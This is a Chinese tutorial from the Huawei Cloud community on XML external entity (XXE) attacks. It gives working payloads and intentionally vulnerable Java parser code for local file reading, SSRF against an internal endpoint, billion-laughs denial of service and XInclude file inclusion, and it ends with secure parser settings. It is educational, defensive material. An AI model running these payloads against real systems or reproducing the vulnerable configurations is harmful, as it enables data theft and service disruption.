本文分享自华为云社区《【安全攻防】深入浅出实战系列专题-XXE攻击》，作者： MDKing。
XML基础：XML 指可扩展标记语言（Extensible Markup Language)，是一种与HTML类似的纯文本的标记语言，设计宗旨是为了传输数据，而非显示数据。是W3C的推荐标准。
XML标签：XML被设计为具有自我描述性，XML标签是没有被预定义的，需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档。
DTD：指文档类型定义(Document Type Definition)，通过定义根节点、元素（ELEMENT）、属性（ATTLIST）、实体（ENTITY）等约束了xml文档的内容按照指定的格式承载数据。
如下图，通过<!DOCTYPE 根节点名称 [DTD内容]>的规则指定了该xml文件合法的根节点元素为persons，它的子节点元素为person，以及person的子层元素以及属性。
实体：在DTD中通过<!ENTITY 实体名称 "实体的值">等方式定义实体，相当于定义变量的作用，可在文档内容中通过&实体名称；的方式引用实体的值（变量的值）。
实体类型：实体分为多种类型，从使用范围的维度，分为参数实体（只能在DTD中引用）与非参数实体（可以在DTD中、文档内容中引用）。区别如下：
| 样例 | 引用方式 | 使用范围与场景 | |
| 非参数实体 | <!ENTITY country "中国"> | &country; | 在DTD中、文档内容中均可引用，一般用来取代重复的字符串 |
| 参数实体 | <!ENTITY % countrydefine "xxx元素的DTD定义内容"> | %country; | 仅能在DTD定义中引用，一般用来保存某段重复的DTD定义 |
从值的来源维度，分为内部实体、外部实体。内部实体为文档内部直接定义值，外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下：
| 样例 | 特征与使用场景 | |
| 内部实体 | <!ENTITY country "中国"> | 值是明确的字符串常量等，可以直接定义在本文档中 |
| 外部实体 | <!ENTITY country SYSTEM "file:///D:/country.txt"> | 值来源于其它文件或者网络 |
XML外部实体注入：XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时，就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的，达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。
Xinclude：Xinclude用来导入外部xml文档，类似于php的include，将外部定义的dtd引入当前文件。该特性可以解决部分场景下引入外部实体具有的局限性，但并不是所有XML 解析器都支持 XInclude，W3C在XInclude Implementations Report中列出了支持的列表，结合XInclude特性也可以在部分场景下执行XXE攻击。常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。
目的与场景：通过构造特定格式的xml文档，读取服务器上指定文件的内容，达到敏感信息获取的目的。
xml文档payload：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]> <root>&pw;</root>
服务器端代码：
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE root [ \n" + "\t<!ELEMENT root (#PCDATA)>\n" + "\t<!ENTITY pw SYSTEM \"file:///D:/securetest/xxe/passwd.txt\">]>\n" + "<root>&pw;</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating(true); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System.out.println("根节点名称：" + rootElement.getNodeName()); System.out.println("根节点内容：" + rootElement.getTextContent()); }
执行结果：成功读取到了passwd.txt的内容。（服务端代码样例中打印在控制台上，对应实际系统中需要有将文档内容打印到界面上等处理。）
目的与场景：通过构造特定格式的xml文档，可以借助目标主机访问内网的其它主机开放的内部接口等服务。
内网其它服务器模拟准备：通过node staticServer.js命令启动服务器，监听3000端口
let express = require('express') let app = express(); app.use(express.static(__dirname)); app.get('/getInnerData', function(req, res) { console.log(req.headers) res.end('AK:abc;SK:ABDCEF') }) app.listen(3000)
经验证，http请求可成功返回
xml文档payload：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY pw SYSTEM "http://127.0.0.1:3000/getInnerData">]> <root>&pw;</root>
服务器端代码：
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE root [ \n" + "\t<!ELEMENT root (#PCDATA)>\n" + "\t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n" + "<root>&pw;</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating(true); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System.out.println("根节点名称：" + rootElement.getNodeName()); System.out.println("根节点内容：" + rootElement.getTextContent()); }
执行结果：成功读取到内部接口getInnerData的内容。
目的与场景：通过构造特殊格式的xml文档，定义多层递归引用的实体（变量）让解析的内容以及时间以指数级增长，以实现DDos攻击的效果。
xml文档payload：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]> <root>&lol6;</root>
服务器端代码：
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { // 获取当前时间 LocalDateTime startTime = LocalDateTime.now(); String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE root [ \n" + "\t<!ELEMENT root (#PCDATA)>\n" + "\t<!ENTITY lol \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n" + "\t<!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" + "\t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n" + "\t<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" + "\t<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" + "\t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n" + "\t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n" + "<root>&lol6;</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating(true); factory.setExpandEntityReferences(false); System.setProperty("entityExpansionLimit", "50000000"); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System.out.println("根节点名称：" + rootElement.getNodeName()); System.out.println("根节点内容：" + rootElement.getTextContent()); System.out.println("根节点内容长度：" + rootElement.getTextContent().length()); System.out.println("根节点内容大小：" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB"); // 获取当前时间并计算时间差 LocalDateTime endTime = LocalDateTime.now(); Duration duration = Duration.between(startTime, endTime); System.out.println("解析执行时间为：" + duration.toMillis() + "豪秒"); }
执行结果：如果程序中不对解析实体做限制的话，可以通过少量的DTD定义，实现海量大小的解析结果的效果，会大量占用服务器的处理、存储。
目的与场景：该样例演示了如果打开了Xinclude开关的危险性，即使做了DTD的安全禁用，还是依然可以进行XXE攻击。
xml文档payload：
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]> <root>&lol6;</root>
服务端代码：
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = "<?xml version=\"1.0\" ?>\n" + "<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n" + "<xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/>\n" + "</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setNamespaceAware(true); factory.setXIncludeAware(true); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System.out.println("根节点名称：" + rootElement.getNodeName()); System.out.println("根节点内容：" + rootElement.getTextContent()); }
执行结果：
常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。2.4中演示了即使禁用了DTD解析，打开Xinclude功能开关后存在的安全问题。所以从安全角度考虑，首先禁止打开Xinclude开关。
如果业务中不需要进行DTD定义以及解析，最好的方式就是完全禁用DTD解析。例如Dom类型的解析器中通过factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);来禁用。效果如下：
方式一：如果业务中确实需要DTD定义以及解析，可以通过仅禁用外部实体解析的方式进行安全防护。例如Dom类型的解析器中通过如下方式设置禁用外部实体解析：
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
效果如下：
方式二：禁用外部实体解析还有另外一种方式，重写实体解析函数，核心代码：
builder.setEntityResolver(new EntityResolver() { @Override public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException { return new InputSource(new StringReader("")); } });
效果如下：
IoT已将包括上述安全编码逻辑在内的常用XML解析器的安全编码规范提取到IoT自定义安全规则集，上线到所有IoT服务的生产发布流水线中，自动化的保障各服务的现网代码安全。如：
